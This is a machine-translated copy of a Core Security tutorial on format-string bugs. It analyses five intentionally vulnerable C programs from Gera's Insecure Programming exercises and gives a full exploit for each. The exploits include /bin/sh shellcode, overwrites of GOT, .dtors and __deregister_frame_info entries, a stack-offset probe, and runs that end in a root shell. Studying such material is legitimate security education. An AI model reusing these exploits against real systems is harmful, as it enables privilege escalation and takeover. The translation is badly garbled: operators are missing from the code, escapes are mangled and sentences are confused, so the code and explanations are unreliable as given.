Formatted string of non-secure programming demonstrations Version1.1
Creation time: 2003-03-07
Article attribute: translation
Article Source:
http://www.ph4nt0m.net/doc/core_format.htm
Article submission:
PH4NT0M (AXIS_AT_PH4NT0M.NET)
Title: Formatted string of non-secure programming demonstrations Version1.1
Translation finishing: thorn (pH4NT0M)
source
http://www.ph4nt0m.net (phantom)
Chinese HTML version:
http://www.ph4nt0m.net/doc/core_format.htm
Version: 1.1
Updated: December 20,2002
Original address
Http://www.core-sec.com/examples/core_format_strings.pdf
Copyright: Core Security Team
http://www.core-sec.com
table of Contents:
Introduction
FS1.C analysis
FS2.c analysis
FS3.C analysis
FS4.C analysis
FS5.c analysis
in conclusion
reference
Translator Note:
This article is published by Core Security, and 5 examples in INSECURE programming in Gera's Insecure Programming.
String vulnerability. Alert7 predecessors have written "formatted character string" of non-secure programming demonstration through these five examples.
I use the same name with me. If you have any mistakes in the translation, you should also urge the high-hand ax.
Introduction
In this article, Core Security will display some errors that programmers in C language programs. Through Gera
5 examples to illustrate the problem with the Format String (formatted string). We will specify the bug in the program.
And will explain why this error is dangerous and will have an Exploit for each example. In this article,
The test of the test is Linux Slackware 8.0 Server (IA32), the compiler is GNU GCC 2.95.3:
User @ Corelabs: ~ $ uname -a
Linux Corelabs 2.4.5 # 31 SMP Sat Mar 2 03:04:23 EET 2002 I586 Unknown
User @ Corelabs: ~ $ GCC -V
Reading Specs from /usr/lib/gcc-lib/i386-slackware-linux/2.95.3/specs
GCC Version 2.95.3 20010315 (Release)
User @ Corelabs: ~ $ cat / proc / cpuinfo
Processor: 0
Vendor_id: GenuineIntel
CPU Family: 5
Model: 2
MODEL NAME: Pentium 75 - 200
User @ Corelabs: ~ $
We assume that the reader has C programming experience and has the basics of Stack overflow, Format String, Got, etc. in
These overflows will not be described in this article. If you are not familiar, please read the article in the article at the end of the article.
The updated version of this article may include format string information on other platforms, everyone can
Www.core-sec.com Download to the latest version.
If you have any questions, please contact: info@core-sec.com
FS1.C analysis
The code of this example is as follows
/ * fs1.c *
* specially crafted to feed your brey by gera@core-sdi.com * // * don't forget, *
* More is less, *
* here's a proof * /
INT Main (int Argv, char ** argc) {
Short int zero = 0;
INT * PLEN = (int *) Malloc (intend); SIZEOF (INT));
Char BUF [256];
// The next line is added by Core Security to Ease Exploitation.
Printf ("% p / n", & zero;
STRCPY (BUF, Argc [1]);
Printf ("% S% HN / N", BUF, PLEN;
While (ZERO);
}
This example is not bizarre. Below is the Man Page in Printf ():
N the number of character of character of character of character, s far is stored INTO THE
Integer INDICATED by the int * (or variant) Pointer Argument. no
Argument is converted.
H a following integer conversion corresponds to a short int or
Unsigned Short Int Argument, OR a FOLLOWING N Conversion Corresponds
TO a Pointer to a short int..
(Translator Note:% N means that the length of the display content is output to a variable.% H
Is converting the following content to a short int type)
If an attacker provides 260 Bytes long parameters, the last four bytes will overwrite the pointer * Plen. When the next execution
When printf (), some characters will be written in the memory pointed to by * Plen (this value by attacker control). however,
Due to the h in the format string, the attacker will only write two bytes (short write --- due to H conversion) to this memory
address. If the parameter provided is greater than 260 bytes, it will override ZERO, and this example will enter the dead cycle.
| _________________________ |
| Shellcode addr | /
| Shellcode addr | /
65276 BYTES
| Shellcode addr | /
| Shellcode addr | /
| ------------------------- | /
| Zero Address | 4 Bytes
| ------------------------ | /
| Aaaaaaa | /
| | | 256 BYTES
| Aaaaaaa | /
| ------------------------ |
| | |
Overflow is possible, but it is not easy. Attackers may adopt traditional attack processes, overwriting the program on the stack
Return the address. There is only one obstacle --- Deess loop. Argc [1] Need to be carefully constructed,
ZERO's inspection, if a null byte, the program will exit normally (this execute shellcode) (the translator Note: Bypass the dead cycle, because ZERO is 0, the While cycle ends). This can be done by the format parameters of% hn. ZERO is two
The byte length, the smaller number of two NULL bytes is 0x10000 (65536 16). So if argc [1]
It is 65536bytes long, * Plen points to the address of Zero, the dead cycle will be bypassed. The first 256 bytes of Argc [1]
Clippers (Translator Note: Used to fill the buffer), 4 bytes are the address of ZERO, and then the 65276 byte populates the shellcode address.
The real obstacle in this example is to find the address of Zero in the stack. This is our extra line in the example.
Print out the reason for the address of Zero. The EXPLOIT code is as follows:
/ *
** exp_fs1.c
** Coded by core security - info@core-sec.com
* /
#include
#include
#include
/ * May NEED SOME TWEAKING * /
#define ZERO_ADDRESS 0XBFFEFECA
/ * 24 Bytes shellcode * /
Char shellcode [] =
"/ x31 / xc0 / x50 / x68 / x2f / x2f / x73 / x68 / x68 / x2f / x62 / x69"
"/ x6e / x89 / xe3 / x50 / x53 / x89 / xe1 / x99 / xb0 / x0b / xcd / x80";
INT main (void) {
Char * env [3] = {shellcode, null};
CHAR EVIL_BUFFER [65536 1];
Char * p;
int RET = 0xBffffffa - Strlen (Shellcode) -
Strlen ("/ home / user / gera / fs1");
INT I;
Printf ("Shellcode Address: 0x% x / n", RET);
/ * Constructing the buffer * /
P = evIL_buffer;
MEMSET (P, 'A', 256);
P = 256;
* ((void **) p) = (void *) (ZERO_ADDRESS);
P = 4;
/ * 16319 x 4 = 65276 * /
For (i = 0; i <16319; i ) {
* ((void **) p) = (void *) (reset);
P = 4;
}
* p = '/ 0';
Execle ("/ Home / User / Gera / FS1", "FS1", Evil_Buffer, NULL, ENV);
}
FS2.c analysis
The code of this example is as follows:
/ * fs2.c *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * CAN you tell me what's Above the Edge? * /
INT Main (int Argv, char ** argc) {
Char BUF [256];
Snprintf (BUF, SIZEOF BUF, "% S% C% C% HN", Argc [1]); SnPrintf (buf, sizeof buf, "% S% C% C% HN", Argc [2]);
}
The programmer uses the "secure" function snprintf () to prevent overflow. However, he is in two calls.
The% HN parameters are used. If an attacker constructs a special buffer and transmits the formatted character to the past, then it will result
overflow. Note that the formatting parameters of SnPrintf () - "% s% c% hn" is from Argc [1] (ARGC [2] corresponding to the second
Snprintf ()). This is another error in the program.
The first formatted parameter is% s - it requires a pointer to String. Snprintf () function Processes Argc [1] in memory
Address until an NULL is encountered ('/ 0'). The second parameter is% C - corresponds to one integer. For example, if
The address of the argc [1] is 0xB f f F 764, snprintf () will handle character equivalent to the minimum effective word (Least Significant Byte)
(It is to understand) - 'd' (d = 0x64). The third parameter is also% C, the role and the previous parameter. First
The four parameters will be written to the number of characters that are currently Snprintf (). % HN saves a pointer as integer. it
Write the four bytes of the first four bytes in Argc [1] (all bytes) The four bytes points to the address (for example, if argc [1]
Like this "/ xbb / xaa / x41 / xbf / x41 / x41 / x41 / x41 / x43 / x44", then write address 0xBFFFAABB
). If Argc [1] has 600Bytes long, the value writes 0xBFFAABB will be 602 (600 from% s, 1 from% C, another
A second% C). Remember that% hn is a Short Write (2 BYTES), and the attacker has to cover him.
Divided into two parts for the address of the address of Shellcode
The attacker will pass the string of this example, will first contain 4 bytes (possibly a got entry address)
Then there are some garbage. The length of the string controls the value written to the Got Entry address. Here is a possible Exploit (
By covering the .dttors address of the HEAP):
/ *
** exp_fs2.c
** Coded by core security - info@core-sec.com
* /
#include
#include
#include
#define objDump "/ usr / bin / objdump"
#define victim "/ home / user / gera / fs2"
#define grep "/ bin / grep"
/ * 24 Bytes shellcode * /
Char shellcode [] =
"/ x31 / xc0 / x50 / x68 / x2f / x2f / x73 / x68 / x68 / x2f / x62 / x69"
"/ x6e / x89 / xe3 / x50 / x53 / x89 / xe1 / x99 / xb0 / x0b / xcd / x80";
INT main (void) {
Char * env [3] = {shellcode, null};
Unsigned int first_half, second_half; char evil_buffer_1 [65500], eviL_buffer_2 [65500], temp_buffer [64];
Char * p;
Int dtors;
int RET = 0xBffffffa - Strlen (Shellcode) -
Strlen ("/ home / user / gera / fs2);
File * f;
Printf ("Shellcode Address: 0x% x / n", RET);
/ * Splitting shellcode address in two * /
First_HALF = (RET & 0xFFFF0000) >> 16;
Printf ("/ nshellcode address - first Half: 0x% x,% u / N", first_half,
First_half);
Second_half = RET & 0x0000FFF;
Printf ("Shellcode Address - Second Half: 0x% x,% u / n", SECOND_HALF,
SECOND_HALF);
Sprintf (Temp_buffer, "% S -T% S |% s DTORS", Objdump, Victim, GREP);
f = POPEN (Temp_Buffer, "R");
IF (fscanf (f, "% x", & dtors)! = 1) {
PClose (f);
Printf ("Error: Cannot Find .dtors Address! / N");
Exit (1);
}
DTORS = 4;
Printf (". DTORS Address IS: 0x% x / n / n", dtors;
/ * First Buffer Writes First Half of Shellcode Address * /
P = evIL_buffer_1;
* ((void **) p) = (void *) (DTORS 2);
P = 4;
/ * 4 for .dtors addres and 2 for% C% C * /
MEMSET (P, 'A', (First_HALF - 4 - 2));
P = (First_HALF - 4 - 2);
* p = '/ 0';
/ * Second Buffer Writes Second Half of Shellcode Address * /
P = evIL_buffer_2;
* ((void **) p) = (void *) (dtors);
P = 4;
/ * 4 for .dtors addres and 2 for% C% C * /
MEMSET (P, 'B', (Second_HALF - 4 - 2);
P = (Second_HALF - 4 - 2);
* p = '/ 0';
Execle ("/ Home / User / Gera / FS2", "FS2", Evil_Buffer_1, Evil_Buffer_2,
NULL, ENV);
}
Run as follows:
User @ Corelabs: ~ / Gera $ GCC fs2.c -o fs2
User @ Corelabs: ~ / Gera $ GCC Exp_fs2.c -o exp_fs2
User @ Corelabs: ~ / gera $ ./exp_fs2shellcode address: 0xBffffFFFCD
Shellcode Address - First Half: 0xBfff, 49151
Shellcode Address - Second Half: 0xffcd, 65485
.dtors address is: 0x8049590
SH-2.05 # EXIT
exit
User @ Corelabs: ~ / gera $
The following is the case of Heap Memory when it is overflow:
/ | | | | | |
Got | | | | | |
/ | ______________________ | | ____________________________________________
/ | 0x00000000 | | 0xB f f 0000 | | 0xB f f f F c d |
.dtors | ------------------------------------- - | | ----------------------- |
/ | 0xf f f f f f | | 0xf f f f f f | | 0xf f f f f f |
| ------------------------------------- | | ----------------------- |
/ | 0x00000000 | | 0x00000000 | | 0x00000000 |
.ctors | --------------------------------- - | | ----------------------- |
/ | 0xf f f f f f | | 0xf f f f f f | | 0xf f f f f f |
| ------------------------------------- | | ----------------------- |
| | | | | | |
Before first snprintf () after first snprintf () after second snprintf ()
FS3.C analysis
The source code of the example is as follows:
/ * fs3.c *
* specially crafted to feed your brain by riq@core-sdi.com * /
/ * NOT ENOUGH RESOURCES? * /
INT Main (int Argv, char ** argc) {char buf [256];
Snprintf (buf, sizeof buf, "% s% C% C% HN", argc [1]);
}
It looks very similar to fs2.c. The difference is that the attacker can only write two bytes in memory, not enough
An exact memory address (4 bytes on 32-bit IA). If the attacker is smart enough, he will be in the appropriate address.
Override two bytes (for example, shellcode's address is 0xB f f f f B A, a return address is 0x b f f f A b c d, then
He will only cover Abcd with FFBA). This is an attacker to be overwritten. There are some possibilities here. First FS3 return address
(Determined in the stack --0xb fx x x x X X X X X X X X X X) It will be difficult to guess because of different environment variable stacks. Second Snprintf ()
The return address (also in the stack --0XB f X X X x determined) is also difficult to guess.
The address on the HEAP can be determined (you can get from the bin file). The third method is to cover the address of the.dtors.
Then this will not play a lot. Take a look at the figure of fs2.c. The address of the 0x00000000 is overlaid, change
It became one of the 0x0000F F B a or 0xB f F0000 --- is completely useless here. Then now the only possible way
Is the address of the __deregister_frame_info () in GOT:
User @ Corelabs: ~ / gera $ objdump -r ./fs3
./fs3: File Format ELF32-I386
Dynamic RELOCATION RECORDS
Offset Type Value
080495CC R_386_GLOB_DAT __GMON_START__
080495BC R_386_jump_slot __register_frame_info
080495c0 r_386_jump_slot __deregister_frame_info
080495c4 r_386_jump_slot __libc_start_main
080495c8 r_386_jump_slot snprintf
User @ Corelabs: ~ / gera $
This coverage __deregister_frame_info () address is the first discovery and announcement of Core Security Team.
In general, this is a function existing in all GCC dynamic connection executable programs. It is at the end of a function
- Calls by calling exit (), Return (). Covering its address and override any function addresses in Got
it's the same. However, there is no suitable function in GOT in the example here.
The only way to overflow this example is to overwrite the __deregister_frame_info () with 0xB f F Frame_info ().
At the same time, save Shellcode inside Stack (a pile of NOP in front of Shellcode). From the output of Objdump from above
The address of __ derecister_frame_info () is 0x080495c0. After overlap, it will become 0xB f F 95c0. SHELLCODE address
Just at this point ---- via NOP increasing the chance of falling in the shellcode range.
In order to cover the success, Argc [1] must be 49151 - 2 = 49149 bytes, including shellcode and
__deregister_frame_info ()'s address. Argc [1] will be placed in memory (stack), such as from 0xB f F f A D7 to
0xB f f 3a d 7. The only problem that may exist here is that if the two minimum effective words of __deregister_frame_info () are greater than 0xF A D 7 or less than 0x3 a d 7 (this will not fall in NOP). According to statistics, this situation is probably
It is 25%, but in the actual situation (due to the memory allocation of Linux) will be less than 1% (translator Note: That is, the success rate will
It is relatively high.
| | |
| ------------------------- | <----- 0XB f f f A d 7
| Shellcode |
| ------------------------- |
| NOP |
| NOP |
| NOP |> 0xB f f 95c0
| NOP |
| NOP |
| ------------------------- |
DEREGISTER Address |
| --------------------------- | <---- 0XB f F 3a D7
| | |
Demo Exploit:
/ *
** exp_fs3.c
** Coded by core security - info@core-sec.com
* /
#include
#include
#include
#define objDump "/ usr / bin / objdump"
#define victim "/ home / user / gera / fs3"
#define grep "/ bin / grep"
/ * 24 Bytes shellcode * /
Char shellcode [] =
"/ x31 / xc0 / x50 / x68 / x2f / x2f / x73 / x68 / x68 / x2f / x62 / x69"
"/ x6e / x89 / xe3 / x50 / x53 / x89 / xe1 / x99 / xb0 / x0b / xcd / x80";
INT main (void) {
CHAR EVIL_BUFFER [49149 1], TEMP_BUFFER [64];
Char * p;
INT deRegister_address;
File * f;
Sprintf (Temp_buffer, "% s -r% s |% s deregister", Objdump, Victim,
GREP);
f = POPEN (Temp_Buffer, "R");
IF (fscanf (f, "% x", & deregister_address)! = 1) {
PClose (f);
Printf ("ERROR: Cannot Find Deregister Address IN GOT! / N");
Exit (1);
}
Printf ("Deregister Address IS: 0x% X / N", Deregister_Address;
/ * Evil buffer * /
P = evIL_buffer;
* ((void **) p) = (void *) (derecinter_address 2);
P = 4;
/ * Adding the nops * / memset (p, '/ x90', (Sizeof (Evil_Buffer) - Strlen (Shellcode) - 4 -
1));
P = (SIZEOF (Evil_Buffer) - Strlen (Shellcode) - 4 - 1);
/ * Adding shellcode * /
Memcpy (p, shellcode, strlen);
P = strlen (shellcode);
* p = '/ 0';
Execl ("/ user / home / gera / fs3", "fs3", evil_buffer, null;
}
FS4.C analysis
The source code of this example is as follows:
/ * fs4.c *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * Have You Ever Heard About Code ReusAbility? * /
INT Main (int Argv, char ** argc) {
Char BUF [256];
Snprintf (buf, sizeof buf, "% s% 6 $ hn", argc [1]);
Printf (BUF);
}
The method of overflow is substantially the same as FS3.C. Here is a formatted parameter here - "6 $".
This means that% hn will cover the address pointed to by the sixth parameter. In order to successfully overflow, the first 8 bytes of Argc [1] should be filled
Garbage (reason for the reader). Another change is that it is not __deregister_frame_info () in Exploit.
Address but is the address of the Printf () (there is no impact here):
/ *
** exp_fs4.c
** Coded by core security - info@core-sec.com
* /
#include
#include
#include
#define objDump "/ usr / bin / objdump"
#define Victim "/ Home / User / Gera / FS4"
#define grep "/ bin / grep"
/ * 24 Bytes shellcode * /
Char shellcode [] =
"/ x31 / xc0 / x50 / x68 / x2f / x2f / x73 / x68 / x68 / x2f / x62 / x69"
"/ x6e / x89 / xe3 / x50 / x53 / x89 / xe1 / x99 / xb0 / x0b / xcd / x80";
INT main (void) {
Char Evil_Buffer [49151 1], TEMP_BUFFER [64];
Char * p;
INT Printf_address;
File * f;
Sprintf (Temp_buffer, "% s -r% s |% s printf", Objdump, Victim,
GREP);
f = POPEN (Temp_Buffer, "R");
IF (fscanf (f, "% x", &printf_address)! = 1) {
PClose (f);
Printf ("Error: Cannot Find Printf () Address IN GOT! / N");
Exit (1);
}
Printf ("Printf () Address IN GOT IS: 0x% X / N", Printf_address); / * Evil Buffer * /
P = evIL_buffer;
/ * Some Junk Here * /
MEMSET (P, 'B', 8);
P = 8;
* ((void **) p) = (void *) (Printf_address 2);
P = 4;
/ * Adding NOPS. 12 = 8 (for Junk) 4 (for address) * /
MEMSET (P, '/ X90', (SIZEOF (Evil_Buffer) - Strlen (Shellcode) - 12 - 12 -
1));
P = (SIZEOF (Evil_Buffer) - Strlen (Shellcode) - 12 - 1);
/ * Adding shellcode * /
Memcpy (p, shellcode, strlen);
P = strlen (shellcode);
* p = '/ 0';
EXECL ("/ Home / User / Gera / FS4", "FS4", Evil_Buffer, NULL
}
FS5.c analysis
This source code is as follows:
/ * fs5.c *
* specially crafted to feed your brey by gera@core-sdi.com * /
/ * GO, Go, Go! * /
INT Main (int Argv, char ** argc) {
Char BUF [256];
Snprintf (buf, sizeof buf, argc [1]);
/ * this line'll make your life easier * /
Printf ("% S / N", BUF);
}
Finally, let us look at a classic Format String vulnerability. No need to explain too much, this overflow is very
Typical, if you have any questions, please read the wonderful discussion of Scut (Translator Note: The latest version is "format string -1.2"
). It will automatically be automatically accurately positioned - only for educational purposes. This is the last line (Printf ("% S / N", BUF);) Note.
(Translator Note: For the convenience of automatic precise positioning ?? Please see the article about the automatic precise positioning of Alert7)
User @ Corelabs: ~ / gera $ ./exp_fs5
Reading Stack Frames ...
Frame 01 -> 40016478
Frame 02-> 00000001
Frame 03-> bffff8f8
Frame 04-> 41414141
Exact Match Found. Stack Pop IS: 4
_Deregister address in got IS: 0x080495ac
Shellcode Address in Stack IS: 0xBffffFFFFCD
?? 0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
SH-2.05 # EXIT
exit
User @ Corelabs: ~ / gera $
Demonstration Explloy is as follows:
/ *
** exp_fs5.c
** Coded by core security - info@core-sec.com
* /
#include
#include
#include
#define objDump "/ usr / bin / objdump"
#define Victim "/ Home / User / Gera / FS5"
#define grep "/ bin / grep"
/ * 24 Bytes shellcode * /
Char shellcode [] =
"/ x31 / xc0 / x50 / x68 / x2f / x2f / x73 / x68 / x68 / x2f / x62 / x69"
"/ x6e / x89 / xe3 / x50 / x53 / x89 / xe1 / x99 / xb0 / x0b / xcd / x80";
Int main () {
Char Evil_Buffer [256], TEMP_BUFFER [256];
Char * env [3] = {shellcode, null};
Char * p;
INT deRegister_address, first_half, second_half, i;
File * f;
int RET = 0xBffffffa - Strlen (Shellcode) -
Strlen ("/ Home / User / Gera / FS5);
Bzero (Evil_Buffer, Sizeof);
Sprintf (Evil_Buffer, "% s AAAA", VICTIM);
/ * Finding Stack Pop * /
Printf ("/ Nream Frames ... / N");
For (i = 0; i <30; i ) {
STRCAT (Evil_Buffer, "% 08X");
f = POPEN (Evil_Buffer, "R");
Fscanf (f, "% s", temp_buffer;
P = Temp_buffer (4 i * 8);
Printf ("frame% .2d ->% s / n", (i 1), p);
IF (! STRCMP (P, "41414141")) {
Printf ("/ Nexact Match Found. Stack Pop IS:
% D / N / N ", I 1);
PClose (f);
Break;
}
PClose (f);
Bzero (Temp_buffer, Sizeof (Temp_buffer);
}
IF (i == 30) {
Printf ("Can't Find Our Format String in Stack./N");
Printf ("Some Padding MAY Be Neededed. Aborting ... / N");
Exit (1);
}
Sprintf (Temp_buffer, "% s -r% s |% s deregister", Objdump, Victim,
GREP);
f = POPEN (Temp_buffer, "R"); if (fscanf (f, "% 08x", & deregister_address)! = 1) {
PClose (f);
Printf ("ERROR: Cannot Find Deregister Address IN GOT! / N");
Exit (1);
}
PClose (f);
Printf ("_ deregister address in got is: 0x% 08x / n",
Deregister_address;
Printf ("Shellcode Address in Stack IS: 0x% 08X / N / N", RET);
First_HALF = (RET & 0xFFFF0000) >> 16;
Second_half = (RET & 0x0000FFFF);
/ * Evil buffer construction * /
P = evIL_buffer;
Bzero (p, sizeof (eviL_buffer);
/ * first_half * /
* ((void **) p) = (void *) (derecinter_address 2);
P = 4;
/ * second_half * /
* ((void **) p) = (Void *) (DEREGISTER_ADDRESS);
P = 4;
Sprintf (p, "%%.% ud %%% D $ hn" "%%.% ud %%% D $ hn", first_half - 8, i 1,
Second_half - first_half, i 2);
Execle ("/ home / user / gera / fs5", "fs5", evil_buffer, null, eNV);
}
in conclusion
Format strings is easier to discover (relatively unfair to discover, even if it is very careful.
Check the source code). The vulnerability existing in the automatic detection tool detection code is usually useful. So why
What is considered to have a big threat? Format strings vulnerability? The reason is that it is detrimental to the time - until 2000
. Since the programmer is lazy, there is a lot of Format String bug in many old daemons and applications.
Formatted string vulnerabilities will not be avoided in the future will bring a lot of security issues.
reference
GERA, "INSECURE Programming By Example"
http://community.core-sdi.com/~gera/insecureprogramming/
2. Scut, "Exploiting Format String Vulnerabilities"
http://www.team-teeso.net/releases/FormatString-1.2.tar.gz
3. Aleph One, "Smashing The Stack for Fun and Profit"
http://www.phrack.com/phrack/49/p49-14
4. Linux Programmer's Manual, Snprintf () Function
http://www.die.net/doc/linux/man/man3/snprintf.3.html
5. Core Security Team, "Vulnerabilities in Your Code - Advanced Buffer overflows"
